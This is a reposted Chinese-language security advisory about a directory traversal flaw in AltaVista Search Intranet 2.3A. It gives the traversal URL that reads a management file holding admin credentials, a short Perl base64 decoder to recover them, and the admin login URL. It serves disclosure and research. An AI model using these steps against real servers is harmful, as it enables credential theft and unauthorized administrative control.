AltaVista 搜索引擎目录遍历问题

受影响系统:

 

  AltaVista Search Intranet 2.3A

 

描述:

 

  AltaVista Search engine在9000端口开启了一个webserver,用来监听搜索请求.主要的搜索

 

  函数(cgi-bin/query)中有一个模板变量{mss},它将接受搜索请求中的包含的单个"../"字符

 

  串,提供对上一层目录('http')中所有文档的访问权限.

 

  这些文档可能包含很多管理信息,包括用来进行远程管理的用户名和口令.这些用户名和口令

 

  被base-64编码,可以很容易得被恢复成纯文本方式,因此攻击者可以获得远程管理这个搜索引

 

  擎的权力.

 

  < 发现者: rudi carell ([email protected]) >

 

测试方法:

 

  警 告

 

  以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

 

  通过执行 http://target:9000/cgi-bin/query?../logs/mgtstate

 

  可以获得mgtstate文件的内容,这里面包含有远程管理的用户名和口令.

 

  利用下面的小程序就可以将其解码,得到用户名和口令:

 

  #!/usr/bin/perl

 

  use MIME::Base64;

 

  print decode_base64("$ARGV[0]"), "\n";

 

  然后执行 http://target:9000/cgi-bin/mgt

 

  输入得到的用户名和口令就可以远程管理该搜索引擎

你可能感兴趣的:(搜索引擎,医疗,mobile,Youtube,Windows Mobile)